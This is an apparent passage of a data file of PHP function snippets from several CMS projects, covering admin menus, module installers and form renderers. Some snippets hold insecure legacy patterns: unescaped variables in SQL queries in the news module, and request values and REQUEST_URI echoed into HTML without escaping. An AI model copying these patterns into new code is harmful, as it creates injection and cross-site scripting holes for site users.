);\n\t\t\t\t$this->components_save('edit');\n\t\t\t\tbreak;\n\n\t\t\tcase 'component_delete':\n\t\t\t\t$this->ipsclass->admin->cp_permission_check( $this->perm_main.'|'.$this->perm_child.':edit' );\n\t\t\t\t$this->components_delete();\n\t\t\t\tbreak;\n\n\t\t\tcase 'component_export':\n\t\t\t\t$this->ipsclass->admin->cp_permission_check( $this->perm_main.'|'.$this->perm_child.':export' );\n\t\t\t\t$this->components_export('single');\n\t\t\t\tbreak;\n\t\t\tcase 'component_import':\n\t\t\t\t$this->ipsclass->admin->cp_permission_check( $this->perm_main.'|'.$this->perm_child.':import' );\n\t\t\t\t$this->components_import();\n\t\t\t\tbreak;\n\n\t\t\tcase 'component_uninstall':\n\t\t\t\t$this->ipsclass->admin->cp_permission_check( $this->perm_main.'|'.$this->perm_child.':edit' );\n\t\t\t\t$this->components_uninstall();\n\t\t\t\tbreak;\n\n\t\t\tcase 'component_move':\n\t\t\t\t$this->ipsclass->admin->cp_permission_check( $this->perm_main.'|'.$this->perm_child.':edit' );\n\t\t\t\t$this->components_move();\n\t\t\t\tbreak;\n\t\t\tcase 'component_toggle_enabled':\n\t\t\t\t$this->ipsclass->admin->cp_permission_check( $this->perm_main.'|'.$this->perm_child.':edit' );\n\t\t\t\t$this->components_toggle_enabled();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$this->ipsclass->admin->cp_permission_check( $this->perm_main.'|'.$this->perm_child.':' );\n\t\t\t\t$this->components_list();\n\t\t\t\tbreak;\n\t\t}\n\t}", "function buildForm()\r\n {\r\n $this->buildTabs();\r\n // tab caption\r\n $this->addElement('header', null,\r\n 'Progress2 Generator - Control Panel: save PHP/CSS code');\r\n\r\n $code[] =& $this->createElement('checkbox', 'P', null, 'PHP');\r\n $code[] =& $this->createElement('checkbox', 'C', null, 'CSS');\r\n $this->addGroup($code, 'phpcss', 'PHP and/or StyleSheet source code:');\r\n\r\n // Buttons of the wizard to do the job\r\n $this->buildButtons(array('next','apply'));\r\n }", "public function buildHeadMarkup(){\n\n echo file_get_contents(\"head/home.html\");\n\n $this->head_script_tags = \"\";\n\n foreach( $this->head_scripts as $value ){\n\n $this->head_script_tags .= \"<script src=\\\"\" . $value . \"\\\"></script>\";\n\n }\n\n $this->head = file_get_contents(\"head/home.html\").$this->head_script_tags.\"</head>\";\n\n }", "function main()\t{\n\t\tglobal $LANG;\n\t\t$this->searchitem = (string)t3lib_div::_GP('searchitem');\n\t\t\t// Draw the body.\n\t\t$this->content.='\n\t\t\t<body scroll=\"auto\" id=\"typo3-browse-links-php\">\n\t\t\t<form name=\"organisationform\" action=\"\" method=\"post\">\n\n\t\t\t<h3 class=\"bgColor5\">'.$LANG->getLL('tx_civserv_wizard_organisation_supervisor.select_letter_text').':</h3>\n\t\t\t<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" id=\"typo3-tree\">\n\t\t\t\t<tr class=\"bgColor\">\n\t\t\t\t\t<td nowrap=\"nowrap\">\n\t\t';\n\n\t\t$script=basename(PATH_thisScript);\n\t\t\n\t\t\n\t\t//render A-Z list\n\t\tforeach($this->arrAlphabet as $char){\n\t\t\tif($this->getEmployeeByLetter($char)){\n\t\t\t\t$this->content .= '<a href=\"#\" onclick=\"add_options_refresh(\\''.$char.'\\',\\''.(string)t3lib_div::_GP('selected_uid').'\\',\\''.(string)t3lib_div::_GP('selected_name').'\\',\\''.$script.'\\',\\''.$this->PItemName.'\\',\\'&organisation_pid='.htmlspecialchars($this->organisation_pid).'\\')\">'.$char.'</a>';\n\t\t\t}else{\n\t\t\t\t$this->content .= '<span style=\"color:#066\">'.$char.'</span>';\n\t\t\t}\n\t\t\t$this->content .= ' ';\n\t\t}\n\t\t\t\n\t\tif($this->getEmployeeByLetter('other')){\n\t\t\t$this->content .= '<a href=\"#\" onclick=\"add_options_refresh(\\'other\\',\\''.(string)t3lib_div::_GP('selected_uid').'\\',\\''.(string)t3lib_div::_GP('selected_name').'\\',\\''.$script.'\\',\\''.$this->PItemName.'\\',\\'&organisation_pid='.htmlspecialchars($this->organisation_pid).'\\')\">'.$LANG->getLL('all_abc_wizards.other').'</a>';\n\t\t}else{\n\t\t\t$this->content .= '<span style=\"color:#066\">'.$LANG->getLL('all_abc_wizards.other').'</span>';\n\t\t}\n\t\t\t\n\n\t\t$this->content.='\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<input type=\"text\" size=\"20\" name=\"searchitem\" id=\"searchitem\" value=\"'.$this->searchitem.'\"> <br />\n\t\t\t\t\t\t<a href=\"#\" onclick=\"add_options_refresh(\\'searchitem\\',\\''.(string)t3lib_div::_GP('selected_uid').'\\',\\''.(string)t3lib_div::_GP('selected_name').'\\',\\''.$script.'\\',\\''.$this->PItemName.'\\',\\'&organisation_pid='.htmlspecialchars($this->organisation_pid).'\\')\">'.$LANG->getLL('all_abc_wizards.search').'</a>\n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n\t\t\t</table>\n\t\t';\n\n\t\t\t// Stores selected letter in variable.\n\t\t$letter = (string)t3lib_div::_GP('letter');\n\n\t\t\t// Only display second selectorbox if a letter is selected.\n\t\tif ($letter=='') {\n\t\t\t// do nothing\n\t\t} else {\n\t\t\tif ($letter != \"other\" and $letter != \"searchitem\") {\n\t\t\t\t$this->content.='<h3 class=\"bgColor5\">'.$LANG->getLL('tx_civserv_wizard_organisation_supervisor.select_supervisor_text').''.$letter.':</h3>';\n\t\t\t} else {\n\t\t\t\t$this->content.='<h3 class=\"bgColor5\">'.$LANG->getLL('tx_civserv_wizard_organisation_supervisor.select_supervisor_text_no_abc').':</h3>';\n\t\t\t}\n\t\t\t$this->content.='<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" id=\"typo3-tree\">\n\t\t\t\t<tr class=\"bgColor\">\n\t\t\t\t\t<td nowrap=\"nowrap\">\n\t\t\t';\n\n\t\t\t\t// Gets all employees beginning with the chosen letter.\n\t\t\t$this->content.=$this->getSupervisors($letter);\n\n\t\t\t\t// Displays a OK-Button to save the selected supervisor.\n\t\t\t$this->content.='\n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n\t\t\t</table>\n\n\t\t\t<input type=\"button\" name=\"Return\" value=\"'.$LANG->getLL('tx_civserv_wizard_organisation_supervisor.OK_Button').'\" onclick=\"return save_and_quit();\">\n\t\t';\n\t\t}\n\n\t\t\t// Displays a Cancel-Button at the end of the Page to exit the wizard without changing anything.\n\t\t$this->content.='\n\t\t<input type=\"button\" name=\"cancel\" value=\"'.$LANG->getLL('tx_civserv_wizard_organisation_supervisor.Cancel_Button').'\" onclick=\"parent.close();\">\n\t\t</form>\n\t\t</body>\n\t\t</html>\n\t\t';\n\t}", "function enh_latest_news_html($mod_id, $nl_url, $ModName) {\n\n// get vars\n $prefix = pnConfigGetVar('prefix');\t\t\n list($dbconn) = pnDBGetConn();\n\t $pntable =& pnDBGetTables();\n\t\n $bgcolor1 = \"#0056A7\";\n\t $bgcolor2 = \"#d8e1ea\";\n\n\t $language = pnConfigGetVar('language');\n\n// name the lang file the same as this file\n\t include(\"modules/$ModName/modules/lang/$language/enhnews.php\");\n\n// get the module setting from the database\n\t $modsql = \"SELECT mod_qty, mod_data FROM $prefix\"._nl_modules.\" WHERE mod_id = '$mod_id'\";\n\t\t$result = $dbconn->Execute($modsql);\n\t if ($dbconn->ErrorNo() != 0) {\n\t\t echo _DBREADERROR;\n\t }\n if (!$result->EOF) {\n\t list($mod_qty, $mod_data) = $result->fields;\n } else {\n\t\t // take care od errors?\n\t\t}\n// clear the output variable\n// title of the page to show up\n\t $output = \"<b>\"._ENHLATESTARTICLES.\":</b><br><br>\\n\";\n\n// query the database and generate your output in the amount of mod_qty\n\t $sql = \"SELECT pn_sid, pn_title, pn_hometext, pn_bodytext, pn_informant, pn_time \n\t\t FROM $pntable[stories] \n\t\t WHERE pn_ihome = '0' ORDER BY pn_time DESC limit 0,$mod_qty\";\n\n\t\t$result = $dbconn->Execute($sql);\n\t if ($dbconn->ErrorNo() != 0) {\n\t\t echo _DBREADERROR;\n\t }\n\t\t\t\t\t\t\n while(!$result->EOF) {\n\t\t list($pn_sid, $pn_title, $pn_hometext, $pn_bodytext, $pn_informant, $pn_time) = $result->fields;\n\t\t\t\t$result->MoveNext(); \n\t $output .= \"<table border=\\\"0\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" width=\\\"100%\\\"><tr><td bgcolor=\\\"$bgcolor1\\\">\\n\";\n\t $output .= \"<table border=\\\"0\\\" cellpadding=\\\"0\\\" cellspacing=\\\"1\\\" width=\\\"100%\\\"><tr><td bgcolor=\\\"$bgcolor2\\\">\\n\";\n\t $output .= \"<table border=\\\"0\\\" cellpadding=\\\"4\\\" cellspacing=\\\"0\\\" width=\\\"100%\\\"><tr><td bgcolor=\\\"$bgcolor2\\\">\\n\";\n\t $output .= \"<img src=\\\"$nl_url/modules/$ModName/modules/images/enhnews/off.gif\\\" border=\\\"0\\\"></td><td width=\\\"100%\\\" bgcolor=\\\"$bgcolor2\\\"><b>&nbsp;<a href=\\\"$nl_url/modules.php?op=modload&name=News&file=article&sid=$pn_sid\\\" target=\\\"_blank\\\"><font style=\\\"FONT-SIZE: 13px\\\"><b>$pn_title</b></a></font></b></td></tr>\\n\";\n\t $output .= \"<tr><td colspan=\\\"2\\\" bgcolor=\\\"$bgcolor2\\\"><br>\\n\";\n\t $output .= \"<table border=\\\"0\\\" width=\\\"98%\\\" bgcolor=\\\"$bgcolor2\\\" align=\\\"center\\\"><tr><td>\\n\";\n \t $output .= \"<font style=\\\"FONT-SIZE: 11px\\\">$pn_hometext</font>\\n\";\n \t $output .= \"</td></tr></table>\\n\";\n\t $output .= \"</td></tr></table><br>\\n\";\n\t $output .= \"</td></tr><tr><td bgcolor=\\\"$bgcolor2\\\" align=\\\"left\\\">\\n\";\n $output .= \"&nbsp\";\n\t $output .= \"<font style=\\\"FONT-SIZE: 10px\\\"><b>\"._POSTEDBY.\": $pn_informant \"._ON.\" $pn_time</font><br>\";\n\t if ($pn_bodytext) {\n\t\t $output .= \"<div align=\\\"right\\\"><font style=\\\"FONT-SIZE: 11px\\\"><a href=\\\"$nl_url/modules.php?op=modload&name=News&file=article&sid=$pn_sid\\\" target=\\\"_blank\\\">\"._READMORE.\"</a></font>&nbsp;&nbsp;</div>\\n\";\n\t\t }\n\t $output .= \"<img src=\\\"$nl_url/modules/$ModName/modules/images/enhnews/pixel.gif\\\" border=\\\"0\\\" height=\\\"2\\\">\";\n\t $output .= \"</td></tr></table>\\n\";\n\t $output .= \"</td></tr></table><br>\\n\";\n }\n\n// strip the slashes out all at once\n\t $output = stripslashes($output);\n\n// send the output to the system (it must be output and not another variable name)\n\t return $output;\n}", "function xanthia_admin_createTheme()\n{\n\t// Create output object - this object will store all of our output so that\n\t// we can return it easily when required\n\t$pnRender =& new pnRender('Xanthia');\n\n\t// As Admin output changes often, we do not want caching.\n\t$pnRender->caching = false;\n\n\t// Check Permissions\n\tif (!pnSecAuthAction(0, 'Xanthia::', '::', ACCESS_EDIT)) {\n return pnVarPrepHTMLDisplay(_MODULENOAUTH);\n\t}\n\n\t// Load user API\n\tif (!pnModAPILoad('Xanthia','user')) {\n pnSessionSetVar('errormsg', pnVarPrepHTMLDisplay(_XA_APILOADFAILED));\n pnRedirect(pnModURL('Xanthia', 'admin', 'view'));\n return true;\n\t}\n\n\t// Load admin API\n\tif (!pnModAPILoad('Xanthia', 'admin')) {\n pnSessionSetVar('errormsg', pnVarPrepHTMLDisplay(_XA_APILOADFAILED));\n pnRedirect(pnModURL('Xanthia', 'admin', 'view'));\n return true;\n\t}\n\n\t// Render the output\n\treturn $pnRender->fetch('xanthiaadmincreatetheme.htm');\n}", "public function generate()\n\t{\n\t\tif (TL_MODE == 'BE')\n\t\t{\n\t\t\t$objTemplate = new \\BackendTemplate('be_wildcard');\n\n\t\t\t$objTemplate->wildcard = '### WEEKLY MENUS ###';\n\t\t\t$objTemplate->title = $this->headline;\n\t\t\t$objTemplate->id = $this->id;\n\t\t\t$objTemplate->link = $this->name;\n\t\t\t$objTemplate->href = 'contao/main.php?do=themes&amp;table=tl_module&amp;table=tl_module&amp;act=edit&amp;id=' . $this->id;\n\n\t\t\treturn $objTemplate->parse();\n\t\t}\n\n\t\treturn parent::generate();\n\t}", "public function html()\n\t{\n\n\t\t$modules_model = $this->load->model('modules');\n\t\t$modules = $modules_model('get_installed');\n\t\t\n\t\t$this->html_data = array();\n\t\t$this->find_core_html_files($this->theme);\n\t\tforeach($modules as $module) $this->find_module_html_files('modules/'.$module['dir'].'/html');\n\n\t\treturn array(true,'HTML Data',$this->html_data);\n\n\t}", "function main()\t{\n\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS,$LANG;\n\n\t\t\t// Draw the header.\n\t\t$this->doc = t3lib_div::makeInstance('noDoc');\n\t\t$this->doc->backPath = $BACK_PATH;\n\t\t$this->doc->form = '<form action=\"index.php\" method=\"post\" name=\"llxmlform\" enctype=\"'.$GLOBALS['TYPO3_CONF_VARS']['SYS']['form_enctype'].'\">';\n\t\t$this->doc->docType = 'xhtml_trans';\n\t\t$this->doc->inDocStylesArray[] = '\n\t\t\ttable#translate-table {width:100%;}\n\t\t\ttable#translate-table TR TD, table#translate-table INPUT, table#table-merge input { font-size: '.$this->MOD_SETTINGS['fontsize'].'; }\n\t\t\ttable#table-merge, table#table-merge td {border:1px solid #000;border-spacing: 0px;border-collapse: collapse; }\n\t\t\ttable#table-merge input, table#table-merge textarea {border:0px;}\n\t\t\t.typo3-green { color: #008000; }\n\n\t\t\ttable#translate-table th, table#table-merge th {padding:4px;font-size:13px;text-align:left;}\n\t\t\ttable#translate-table td.csh_link {background-color:#ff6600;padding:2px;}\n\t\t\ttable#translate-table td.csh_link a {color:#fff;font-weight:bold;}\n\t\t\ttable#table-merge td {padding:2px;}\n\n\t\t\ttable#table-merge input:focus, table#translate-table input:focus, table#table-merge textarea:focus, table#translate-table textarea:focus {background-color:#FFFFDF;border:1px solid #009900;padding:3px;}\n\n\t\t\th3.uppercase {background-color:#BC3939;color:#fff;padding:2px 0 2px 5px}\n\t\t\th4#merge {background-color:#59718F;color:#fff;padding:2px;clear:both;}\n\n\t\t\tp.collapse {background-color:#8490A0;margin:0.5em 0;padding:0.2em;clear:both;}\n\t\t\tp.warning {background-color:#FF6600;color:#fff;padding:2px;font-weight:bold;}\n\t\t\tp.collapse span.switch {display:block; color:#fff; font-weight:bold;cursor:pointer;}\n\t\t\tp.collapse .typo3-csh-link {float:left;}\n\n\t\t\tdiv.typo3-noDoc {width:98%;}\n\t\t\tdiv#nightly {margin-bottom:80px;}\n\n\t\t\tdiv.langbox {display:block;width:200px;float:left;}\n\n\t\t\tdiv.save_button {float:right;margin-bottom:5px;}\n\t\t\ttable#translate-table {margin-bottom:5px;}\n\t\t\tselect {font-family:monospace;font-size:'.$this->MOD_SETTINGS['fontsize'].'}\n\t\t';\n\n\t\t// FORCING charset to utf-8 (since all locallang-XML files are in UTF-8!)\n\t\t$GLOBALS['LANG']->charSet = 'utf-8';\n\n\t\t\t// JavaScript\n\t\t$this->doc->JScode = $this->doc->wrapScriptTags('\n\t\t\t\tscript_ended = 0;\n\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\tdocument.location = URL;\n\t\t\t\t}\n\n\t\t\t\tfunction switchMenu(obj) {\n\t\t\t\t\tvar el = document.getElementById(obj);\n\t\t\t\t\tif ( el.style.display != \"none\" ) {\n\t\t\t\t\t\tel.style.display = \"none\";\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tel.style.display = \"\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t');\n\n\t\t$this->content.=$this->doc->startPage($LANG->getLL('title_llxml'));\n\t\t$this->content.=$this->doc->header($LANG->getLL('header_llxml'));\n\t\t$this->content.=$this->doc->divider(5);\n\t\t$this->content.=$this->doc->section('',$this->showCSH().t3lib_BEfunc::getFuncMenu('','SET[function]',$this->MOD_SETTINGS['function'],$this->MOD_MENU['function']));\n\n\t\t$this->content.= $GLOBALS['BE_USER']->isAdmin() ? $LANG->getLL('select_language').' '.t3lib_BEfunc::getFuncMenu('','SET[editLang]',$this->MOD_SETTINGS['editLang'],$this->MOD_MENU['editLang']):'';\n\n\t\t\t// Render content:\n\t\t$this->moduleContent();\n\n\t\t$this->content.=$this->doc->spacer(10);\n\t}", "public function installModules()\n\t{\n\t$mainframe =& JFactory::getApplication();\n// \t$lang = JFactory::getLanguage(); \n// $languages = JLanguageHelper::getLanguages('lang_code');\n $db =& JFactory::getDBO();\n $query = $db->getQuery(true);\n $type = \"language\";\n $query->select('a.element');\n $query->from('#__extensions AS a');\n $type = $db->Quote($type);\n\t$query->where('(a.type = '.$type.')');\n\t$query->group('a.element');\n $db->setQuery($query);\n $langlist = $db->loadObjectList();\n \n echo 'Copy Administration Modules language(s) provided by <a href=\"https://opentranslators.transifex.com/projects/p/joomleague/\">Transifex</a><br>';\n\t\t$src=JPATH_ADMINISTRATOR.DS.'components'.DS.'com_joomleague'.DS.'modules';\n\t\t$dest=JPATH_ADMINISTRATOR.DS.'modules';\n\t\t$modules = JFolder::folders($src);\n\t\t\n \t\tforeach ( $langlist as $key )\n {\n echo 'Copy Administration Modules language( '.$key->element.' ) provided by <a href=\"https://opentranslators.transifex.com/projects/p/joomleague/\">Transifex</a><br>'; \n foreach ($modules as $module)\n\t\t{\n\t\tif ( JFolder::exists($src.DS.$module.DS.'language'.DS.$key->element) )\n\t\t{\n\t\t\tJFolder::copy($src.DS.$module.DS.'language'.DS.$key->element, JPATH_ADMINISTRATOR.DS.'language'.DS.$key->element, '', true);\n\t\techo ' - <span style=\"color:green\">'.JText::_('Success -> '.$module.' - '.$key->element).'</span><br />';\n }\n }\n\t\t}\n\n\t\t//echo ' - <span style=\"color:green\">'.JText::_('Success').'</span><br />';\n\t\techo 'Copy Administration Module(s)';\n\t\tJFolder::copy($src, $dest, '', true);\n\t\techo ' - <span style=\"color:green\">'.JText::_('Success').'</span><br />';\n//\t\techo 'Copy Site Module(s) language(s) provided by <a href=\"https://opentranslators.transifex.com/projects/p/joomleague/\">Transifex</a>';\n\t\t$src=JPATH_SITE.DS.'components'.DS.'com_joomleague'.DS.'modules';\n\t\t$dest=JPATH_SITE.DS.'modules';\n\t\t$modules = JFolder::folders($src);\n\t\t\n\t\tforeach ( $langlist as $key )\n {\n echo 'Copy Site Module(s) language( '.$key->element.' ) provided by <a href=\"https://opentranslators.transifex.com/projects/p/joomleague/\">Transifex</a><br>';\n foreach ($modules as $module)\n\t\t{\n\t\tif ( JFolder::exists($src.DS.$module.DS.'language'.DS.$key->element) )\n\t\t{\n\t\t\tJFolder::copy($src.DS.$module.DS.'language'.DS.$key->element, JPATH_SITE.DS.'language'.DS.$key->element, '', true);\n echo ' - <span style=\"color:green\">'.JText::_('Success -> '.$module.' - '.$key->element).'</span><br />';\n\t\t}\n }\n\t\t}\n\n\t\t//echo ' - <span style=\"color:green\">'.JText::_('Success').'</span><br />';\n\t\techo 'Copy Site Module(s)';\n\t\tJFolder::copy($src, $dest, '', true);\n\t\techo ' - <span style=\"color:green\">'.JText::_('Success').'</span><br />';\n \n /*\n $title = 'JL2 diddipoeler GitHub Commits Module';\n\t\t$tblModules = JTable::getInstance('module');\n\t\t$tblModules->load(array('title'=>$title));\n\t\t$tblModules->title\t\t\t= $title;\n\t\t$tblModules->module\t\t\t= 'mod_joomleague_github';\n\t\t$tblModules->position \t\t= 'cpanel';\n\t\t$tblModules->published \t\t= 1;\n\t\t$tblModules->client_id \t\t= 1;\n\t\t$tblModules->ordering \t\t= 1;\n\t\t$tblModules->access \t\t= 3;\n\t\t$tblModules->language \t\t= '*';\n\t\t$tblModules->publish_up\t\t= '2000-00-00 00:00:00';\n\t\t$tblModules->params \t\t= '{\"username\":\"diddipoeler\",\"repo\":\"joomleague-2-komplettpaket\",\"count\":15,\"relativeTime\":\"1\",\"layout\":\"_:default\",\"moduleclass_sfx\":\"\",\"cache\":\"1\",\"cache_time\":\"900\",\"cachemode\":\"static\"}';\n\n\t\tif (!$tblModules->store()) {\n\t\t\techo $tblModules->getError().'<br />';\n\t\t}\n\t\t$db = JFactory::getDBO();\n\t\t$query = 'INSERT INTO #__modules_menu (moduleid,menuid) VALUES ('.$tblModules->id.',0)';\n\t\t$db->setQuery($query);\n\t\tif (!$db->query())\n\t\t{\n\t\t\t//echo $db->getErrorMsg().'<br />';\n\t\t}\n\t\n\t\t// Initialise variables\n\t\t$conf = JFactory::getConfig();\n\t\t$dispatcher = JDispatcher::getInstance();\n\n\t\t$options = array(\n\t\t\t'defaultgroup' => ($tblModules->module) ? $tblModules->module : (isset($this->option) ? $this->option : JRequest::getCmd('option')),\n\t\t\t'cachebase' => ($tblModules->client_id) ? JPATH_ADMINISTRATOR . '/cache' : $conf->get('cache_path', JPATH_SITE . '/cache'));\n\n\t\t$cache = JCache::getInstance('callback', $options);\n\t\t$cache->clean();\n\n\t\t// Trigger the onContentCleanCache event.\n\t\t$dispatcher->trigger('onContentCleanCache', $options);\n */\n \n \n \n\t}", "function getHTML() \n {\n \n // Make a new Template object\n $this->template = new Template( $this->pathModuleRoot.'templates/' );\n \n // store the link info\n $this->template->set( 'links', $this->links );\n\n \n // store the page labels\n $name = $this->dataManager->getModuleName();\n $this->labels->setLabelTag( '[Title]', '[moduleName]', $name);\n $this->template->setXML( 'pageLabels', $this->labels->getLabelXML() );\n \n // store XML List of Applicants ...\n $this->template->setXML( 'dataList', $this->dataManager->getXML() );\n \n\n /*\n * Set up any additional data transfer to the Template here...\n */\n // store XML list of State Vars\n $this->template->setXML( 'stateVarList', $this->listStateVar->getXML() );\n \n // store XML list of Data Access Objects\n $this->template->setXML( 'daObjectList', $this->listDAObjects->getXML() );\n \n // store XML list of Page Objects\n $this->template->setXML( 'pageList', $this->listPageObjects->getXML() );\n \n // store XML list of Page Transitions\n $this->template->setXML( 'transitionList', $this->listTransitions->getXML() );\n \n // now store an array of Page Names so the transitions can list \n // the names of the Pages Objects ...\n $pageNames = array();\n $this->listPageObjects->setFirst();\n while ( $page = $this->listPageObjects->getNext() ) {\n $pageNames[ $page->getID() ] = $page->getName();\n }\n $this->template->set( 'pageNames', $pageNames );\n \n\t\treturn $this->template->fetch( 'page_ViewModule.php' );\n \n }", "function buildLanguageMenu($inheritselection, $alanguage)\n{\n if (pnConfigGetVar('multilingual')) {\n if($inheritselection==true) { // && !empty($alanguage)){ Fix preventing alanguage staying chosen after preview.\n $lang = languagelist();\n if (!$alanguage) {\n $sel_lang[0] = ' selected=\"selected\"';\n } else {\n $sel_lang[0] = '';\n $sel_lang[$alanguage] = ' selected=\"selected\"';\n }\n print '<br /><strong>'._LANGUAGE.': </strong>' /* ML Dropdown with available languages to update */\n .'<select name=\"alanguage\">'\n .'<option value=\"\" '.$sel_lang[0].'>'._ALL.'</option>' ;\n $handle = opendir('language');\n while ($f = readdir($handle)) {\n if (is_dir(\"language/$f\") && (!empty($lang[$f]))) {\n $langlist[$f] = $lang[$f];\n }\n }\n asort($langlist);\n // a bit ugly, but it works in E_ALL conditions (Andy Varganov)\n foreach ($langlist as $k=>$v) {\n echo '<option value=\"'.$k.'\"';\n if (isset($sel_lang[$k])) {\n echo ' selected=\"selected\"';\n }\n echo '>'. $v . '</option>';\n }\n echo '</select>';\n } else {\n print '<br /><strong>'._LANGUAGE.': </strong>&nbsp;';\n lang_dropdown();\n }\n } else {\n echo '<input type=\"hidden\" name=\"alanguage\" value=\"\" />';\n }\n\n}", "function main()\t{\n\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t\t// Draw the header.\n\t\t$this->doc = t3lib_div::makeInstance('noDoc');\n\t\t$this->doc->styleSheetFile2 = $GLOBALS[\"temp_modPath\"] . 'style.css';\n\t\t$this->doc->backPath = $BACK_PATH;\n\t\t$this->doc->form='<form action=\"\" method=\"POST\">';\n\n\t\t\t// JavaScript\n\t\t$this->doc->JScode = '\n\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\tscript_ended = 0;\n\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\tdocument.location = URL;\n\t\t\t\t}\n\t\t\t</script>\n\t\t';\n\t\t$this->doc->postCode='\n\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\tscript_ended = 1;\n\t\t\t\tif (top.fsMod) top.fsMod.recentIds[\"web\"] = 0;\n\t\t\t</script>\n\t\t';\n\n\t\t$headerSection = $this->doc->getHeader('pages',$this->pageinfo,'');\n\n\t\t$this->content.=$this->doc->startPage($LANG->getLL('title'));\n\t\t$this->content.=$this->doc->header($LANG->getLL('title'));\n\t\t$this->content.=$this->doc->spacer(5);\n\t\t$this->content.=$this->doc->section('',$this->doc->funcMenu($headerSection,t3lib_BEfunc::getFuncMenu($this->id,'SET[function]',$this->MOD_SETTINGS['function'],$this->MOD_MENU['function'])));\n\t\t$this->content.=$this->doc->divider(5);\n\n\n\t\t\t// Render content:\n\t\t$this->moduleContent();\n\n\n\t\t\t// ShortCut\n\t\tif ($BE_USER->mayMakeShortcut())\t{\n\t\t\t$this->content.=$this->doc->spacer(20).$this->doc->section('',$this->doc->makeShortcutIcon('id',implode(',',array_keys($this->MOD_MENU)),$this->MCONF['name']));\n\t\t}\n\n\t\t$this->content.=$this->doc->spacer(10);\n\t}", "public static function buildPackageDisplay(\n $form1,\n $hidden_fields,\n $form_action,\n $types = array('module'),\n $active_form = 'form1',\n $install = false\n ) {\n global $current_language, $app_strings;\n\n $app_strings = return_application_language($current_language);\n $ss = new Sugar_Smarty();\n $ss->assign('APP_STRINGS', $app_strings);\n $ss->assign('FORM_1_PLACE_HOLDER', $form1);\n $ss->assign('form_action', $form_action);\n $ss->assign('hidden_fields', $hidden_fields);\n\n $result = PackageManagerDisplay::getHeader();\n $isAlive = $result['isAlive'];\n\n SugarAutoLoader::requireWithCustom('ModuleInstall/ModuleInstaller.php');\n $moduleInstallerClass = SugarAutoLoader::customClass('ModuleInstaller');\n $mi = new $moduleInstallerClass();\n $mi_errors = $mi->getErrors();\n $error_html = \"\";\n if (!empty($mi_errors)) {\n $error_html = \"<div style='margin:0px 10px 10px 10px;'>\";\n foreach ($mi_errors as $error) {\n $error_html .= \"<font color='red'>\" . $error . \"</font><br>\";\n }\n $error_html .= \"</div>\";\n }\n\n $tree = PackageManagerDisplay::buildTreeView('treeview', $isAlive);\n $tree->tree_style = getVersionedPath('vendor/ytree/TreeView/css/check/tree.css');\n $ss->assign('TREEHEADER', $tree->generate_header());\n\n $ss->assign('installation', ($install ? 'true' : 'false'));\n\n\n $mod_strings = return_module_language($current_language, \"Administration\");\n\n $ss->assign('MOD', $mod_strings);\n\t\t$ss->assign('module_load', 'true');\n if (UploadStream::getSuhosinStatus() == false)\n {\n $ss->assign('ERR_SUHOSIN', true);\n }\n else\n {\n $ss->assign('scripts', PackageManagerDisplay::getDisplayScript($install));\n }\n $show_login = false; //hiding install from sugar\n\t\t$ss->assign('MODULE_SELECTOR', PackageManagerDisplay::buildGridOutput($tree, $mod_strings, $isAlive, $show_login));\n $ss->assign('INSTALL_ERRORS', $error_html);\n $ss->assign('MOD', $mod_strings);\n $descItemsInstalled = $mod_strings['LBL_UW_DESC_MODULES_INSTALLED'];\n $ss->assign('INSTALLED_PACKAGES_HOLDER', PackageManagerDisplay::buildInstalledGrid($mod_strings, $types));\n\n $str = $ss->fetch('ModuleInstall/PackageManager/tpls/PackageForm.tpl');\n return $str;\n }", "protected function generateModuleMenu() {}", "public function build_menu_page() {\n\n\t\t\t$tabindex = 0;\n\t\t\t$temp = array();\n\t\t\t$hidden = array();\n\t\t\t$this->data = get_option($this->slug.'_fields');\n\t\t\t\n\t\t\t$output = '';\n\t\t\t$output .= '<!-- wrap starts -->'.\"\\n\";\n\t\t\t$output .= \"\\t\".'<div class=\"wrap\">'.\"\\n\";\n\n\t\t\t$output .= '<h1>'.$this->options['title'].'</h1>'.\"\\n\";\n\n\t\t\t$output .= \"\\t\".'<form method=\"post\" action=\"'.$_SERVER['REQUEST_URI'].'\" enctype=\"multipart/form-data\">'.\"\\n\\n\";\n\n\t\t\tforeach ($this->data as $section => $fields) {\n\n\t\t\t\t$output .= \"\\t\".'<h2 class=\"title\" id=\"'.sanitize_title($section).'\">'.$section.'</h2>'.\"\\n\\n\";\n\n\t\t\t\t$output .= \"\\t\".'<table class=\"form-table theme-form-table\">'.\"\\n\";\n\t\t\t\t$output .= \"\\t\".'<tbody>'.\"\\n\";\n\n\t\t\t\tforeach ($fields as $id => $field) {\n\n\t\t\t\t\tif ($field['type'] != 'hidden') {\n\n\t\t\t\t\t\t$tabindex += 1;\n\t\t\t\t\t\t$temp += array($field['label'] => isset($field['value']) ? $field['value'] : '');\n\t\t\t\t\t\t$value = isset($_POST['updating']) ? Save::save_page($this->slug, $field) : Save::set_default_value($this->slug, $temp, $field);\n\n\t\t\t\t\t\t$description = (isset($field['description']) && !empty($field['description'])) ? '<span class=\"description\" id=\"'.Field::get_label_name($field['label']).'-info\">'.$field['description'].'</span>' : '';\n\t\t\t\t\t\t$toggle = (isset($field['description']) && !empty($field['description'])) ? '<a class=\"toggle\" data-toggle=\"form-description\" data-target=\"'.Field::get_label_name($field['label']).'-info\" title=\"'.__('Show info.', 'admin translation').'\">'.__('[+] Info', 'admin translation').'</a>' : '';\n\n\t\t\t\t\t\t$output .= \"\\t\".'<tr 